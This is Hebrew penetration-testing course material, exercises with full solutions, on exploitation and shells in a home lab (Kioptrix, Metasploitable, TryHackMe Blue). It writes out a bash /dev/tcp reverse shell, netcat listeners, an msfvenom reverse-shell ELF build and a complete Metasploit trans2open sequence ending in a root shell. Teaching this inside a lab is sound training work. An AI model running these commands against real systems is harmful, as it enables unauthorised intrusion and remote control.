

מודול 7 — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 7: ניצול והשגת גישה
2.  פתרונות מלאים — מודול 7: ניצול והשגת גישה

תרגילים — מודול 7: ניצול והשגת גישה

⚠ רק על מכונות המעבדה שלך (Kioptrix / Metasploitable). קח **Snapshot** לפני ניצול. פתרונות ב- `solutions.md`.

🚦 לפני שמתחילים — קרא אותי!

- מה צריך: **Kali** + מכונת יעד (**Kioptrix** או **Metasploitable**) על אותה רשת Host-Only. קח **Snapshot** של היעד לפני שמתחילים — כדי שתוכל לחזור אחורה.
- ☁ **אין מכונת יעד מקומית?** תרגל ניצול בענן ללא התקנה — חדרים חינמיים ב-TryHackMe כמו “**Metasploit: Introduction**” או “**Blue**” (EternalBlue → SYSTEM).
- 📖 **איך עובדים:** קרא קודם את ה-`README.md`. למשימות המעשיות (🟡🟢) יש פקודה מדויקת + מה לחפש; לקשות יש 💡 רמז ו-✅ קריטריון.
- 🎯 **נתקעת?** Exploit שלא עובד? ודא ש-RHOSTS/LHOST נכונים ושה-Listener פתוח. נסה, ואז הצץ ב-`solutions.md`.
- 🏆 **טיפ:** האתגר המסכם (root על Kioptrix) הוא הרגע ש”הכול מתחבר”. קח את הזמן והגע אליו.

🌐 איפה לתרגל — שתי דרכים

- ☁ **TryHackMe** (בדפדפן, ללא התקנה): “Metasploit: Exploitation” • “**Blue**” (EternalBlue)
- 🐧 **Kali** (מקומי): **Metasploit** + **Kioptrix / Metasploitable** ב-Kali.

מקרא רמות: 🟢 קל • 🟡 בינוני • 🟠 מתקדם • 🔴 אתגר

🎮 האתגר הגדול — **Blue: SYSTEM** תוך 3 דקות

החדר האייקוני. תנצל את **EternalBlue** (החולשה של WannaCry) ותקבל Shell כ-**SYSTEM** על Windows — הרגע שבו “מצאתי חולשה” הופך ל”אני הבעלים”.

= `whoami` צלם את `nt authority\system`. **אתגר:** השג Shell ולכד את שלושת הדגלים. **TryHackMe — Blue** (חינם, מודרך). **הצלחה:** הצלחה: פרצת מכונת Windows מקצה לקצה.

חלק א' — הבנת Shells ו-Payloads (🟢)

7.1 — הסבר את ההבדל בין **Reverse Shell** ל-**Bind Shell**: מי יוזם את החיבור, ואצל מי ה-Listener? **רמז:** README — סעיף Shells. הצלחה: Reverse=הקורבן מתחבר החוצה (Listener אצל התוקף); Bind=התוקף מתחבר פנימה (Listener אצל הקורבן).

7.2 — מדוע Reverse Shell נפוץ יותר בעולם האמיתי? **רמז:** README — סעיף Shells; חשוב על Firewall ותעבורה יוצאת. הצלחה: הסברת ש-Firewall מתיר תעבורה **יוצאת**, ולכן Reverse עובר.

7.3 — מבין `linux/x86/shell/reverse_tcp` ו-`shell_reverse_tcp` — מי Staged ומי Non-Staged? **רמז:** README — סעיף Payloads. `/` בין `shell` ל-`reverse` = Staged. הצלחה: `Staged, shell_reverse_tcp = Non-Staged = shell/reverse_tcp`

חלק ב' — Shells ו-Netcat ידניים (🟡)

7.4 — פתח Listener של Netcat על פורט 4444. 🟡

```
nc -lvnp 4444
# פורט -p • DNS ללא -n • מפורט -v • האזן ל-
```

👁️ **חפש:** ההודעה `listening on [any] 4444`. הצלחה: ה-Listener פתוח וממתין.

7.5 — מטרמינל/מכונה שנייה, התחבר ל-Listener והעבר טקסט. 🟡

```
nc <kali-ip> 4444 # Enter הקלד טקסט ולחץ #
```

👁️ **חפש:** הטקסט שהקלדת מופיע בטרמינל של ה-Listener. הצלחה: התקשורת בין שני הצדדים עובדת.

7.6 — הפק פקודת Reverse Shell של Bash מ-`revshells.com` והסבר כל חלק. **רמז:** הזן את ה-IP והפורט שלך באתר, בחר `"Bash -i"`. הצלחה: יש לך פקודה מוכנה ואתה מבין מה כל חלק עושה.

חלק ג' — Metasploit (●●)

7.7 ● — הפעל `msfconsole` וחפש Exploit ל-samba.

```
msfconsole
search samba
```

👁️ **חפש:** רשימת מודולים; ספור כמה תוצאות (רשום מספר). ✅ הצלחה: קיבלת רשימת Exploits ל-samba.

7.8 ● — בחר Module, הרץ `show options`, והסבר `PAYLOAD`, `LHOST`, `RHOSTS`.

```
use exploit/multi/samba/usermap_script
show options
```

💡 רמז: `RHOSTS`=היעד, `LHOST`=ה-Kali שלך, `PAYLOAD`=הקוד שירוצן אחרי הניצול. ✅ הצלחה: הסברת את שלושת הפרמטרים.

7.9 ● — הרץ `show payloads` על ה-Module. מצא Payload מסוג Reverse ואחד Bind. 💡 רמז: חפש `reverse` מול `bind` בשמות ה-Payloads. ✅ הצלחה: זיהית דוגמה אחת מכל סוג.

חלק ד' — msfvenom (●)

7.10 — צור עם `msfvenom` קובץ Reverse Shell של Linux (elf). אל תריץ — רק צור והסבר.

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<kali> LPORT=4444 -f elf -o shell.elf
```

💡 רמז: README — סעיף `=payload -p` ב-`msfvenom`, `-f` =פורמט, `-o` =קובץ פלט. ✅ הצלחה: נוצר `shell.elf` ואתה מבין כל דגל.

אתגר מסכם — "מ-Recon ל-root על Kioptrix" ●

זהו האתגר המרכזי — שרשור מלא של מודולים 5 → 6 → 7:

1. **סיכום מנייה:** קח את דוח המנייה ממודול 6 — מהי החולשה שבחרת לניצל?
2. **בחירת Exploit:** ב- `msfconsole`, מצא ובחר את ה-Exploit המתאים (`Samba trans2open / usermap`).
3. **הגדרה:** `set RHOSTS` (Kioptrix), `set LHOST` (Kali), בחר `PAYLOAD` מתאים.
4. **ניצול:** הרץ `exploit` והשג Shell.

5. הוכחה: הרץ `whoami`, `id`, `hostname`. צלם מסך של `whoami` המראה `root`.

6. תיעוד: כתוב את השרשרת: איזו חולשה → איזה Exploit → איזה Payload → מה השגת. זהו "Proof of Concept" לדוח (מודול 16).

💡 רמז: פתרון מלא צעד-אחר-צעד + הפקודות ב- `solutions.md`.  הצלחה: ראית `root` בפלט `whoami` וצילמת מסך.

 אם ראית `root` — ביצעת בדיקת חדירות מלאה מקצה לקצה! זה הישג אמיתי.

רשימת בקרה — לפני מעבר למודול 8

- ☐ אני מבין Reverse מול Bind Shell ומתי כל אחד
- ☐ אני מבין Staged מול Non-Staged Payloads
- ☐ אני פותח Listener עם Netcat וקולט חיבור
- ☐ אני שולט בזרימת (search/use/set/exploit) Metasploit
- ☐ אני יוצר Payloads עם msfvenom
- ☐ ניצלתי את Kioptrix והשגתי `root` (עם צילום מסך)

פתרונות מלאים: `solutions.md`

פתרונות מלאים — מודול 7: ניצול והשגת גישה

נסה לבד ב- `missions.md` קודם.

חלק א' — הבנת Shells ו-Payloads

7.1 — ב-Reverse Shell הקורבן יוזם את החיבור אל התוקף, וה-Listener נמצא אצל התוקף. ב-Bind Shell התוקף יוזם את החיבור אל הקורבן, וה-Listener נמצא אצל הקורבן (על פורט שנפתח שם).

7.2 — כי הקורבן לרוב נמצא מאחורי NAT/Firewall שחוסם חיבורים נכנסים אך מתיר יוצאים. Reverse Shell מנצל תעבורה יוצאת, ולכן עוקף את החסימה.

7.3 — `linux/x86/shell/reverse_tcp` → **Staged** (ה- / מפריד בין ה-Stager ל-Stage). - `linux/x86/shell_reverse_tcp` → **Non-Staged** (ה- _ = הכל בבת אחת).

חלק ב' — Netcat ו-Shells ידניים

7.4

```
nc -lvnp 4444
```

• `-l` Listen = (מצב האזנה) · `-v` Verbose = (פירוט) · `-n` = ללא רזולוציית DNS · `-p 4444` = הפורט.

7.5

```
# במכונה השנייה:
nc <kali-ip> 4444
# החיבור עובד. Kali הקלד טקסט – הוא יופיע בצד של
```

7.6 — מ-Bash Reverse Shell, revshells.com, לדוגמה:

```
bash -i >& /dev/tcp/192.168.56.5/4444 0>&1
```

• `bash -i` Shell = אינטראקטיבי · `>& /dev/tcp/IP/PORT` = הפניית קלט/פלט לחיבור TCP אל התוקף · `0>&1` = חיבור ה-stdin לאותו ערוץ. התוצאה: Shell שמתחבר חזרה אל ה-Listener שלך.

חלק ג' — Metasploit

7.7

```
msfconsole
search samba
```

תקבל רשימת Modules (exploit/auxiliary) הקשורים ל-Samba — מספר התוצאות משתנה בין גרסאות.

7.8

```
use exploit/linux/samba/trans2open
show options
```

- `RHOSTS` = ה-IP של היעד (הקורבן).
- `LHOST` = ה-IP של התוקף (Kali שלך) — לשם ה-Reverse Shell יתחבר.

- PAYLOAD = הקוד שירוצ' אחרי הניצול (Shell/Meterpreter).

7.9

```
show payloads
```

דוגמאות: linux/x86/shell_reverse_tcp (Reverse) מול linux/x86/shell_bind_tcp (Bind).

חלק ד' — msfvenom

7.10

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.5 LPORT=4444 -f elf -o shell
```

- -p = Payload · LHOST/LPORT = לאן ה-Shell יתחבר · -f elf = פורמט Linux הרצה · -o shell = קובץ הפלט. את הקובץ מעלים ליעד ומריצים, וקולטים עם use multi/handler.

אתגר מסכם — פתרון מלא (Kioptrix → root)

```
msfconsole
search trans2open
use exploit/linux/samba/trans2open
show options
set RHOSTS 192.168.56.10      # Kioptrix
set LHOST 192.168.56.5       # Kali שלך
set PAYLOAD linux/x86/shell_reverse_tcp
exploit
```

כשמתקבל Shell:

```
whoami      # root
id          # uid=0(root)
hostname    # kioptrix.level1
```

שרשרת מלאה לתיעוד (PoC):

Proof of Concept – Kioptrix Level 1

1. Recon (מודול 5): זיהוי היעד
2. Enumeration (מודול 6): nmap → Samba 2.2.1a פגיע
3. Vuln Research: searchsploit samba 2.2 → trans2open (CVE-2003-0201)
4. Exploitation: Metasploit trans2open + reverse_tcp payload
5. Result: root shell (uid=0) – שליטה מלאה

אם ראית root — ביצעת בדיקת חדירות מקצה לקצה. המשך למודול 8.

פתרון בעיות נפוצות: - אין Shell? ודא ש-LHOST הוא ה-IP הנכון של Kali (ip a), ושהמכונות באותה רשת (ping ביניהן). - נסה להחליף בין Payload Staged ל-Non-Staged. - ודא שלקחת Snapshot — אם השירות קרס, שחזר והרץ שוב.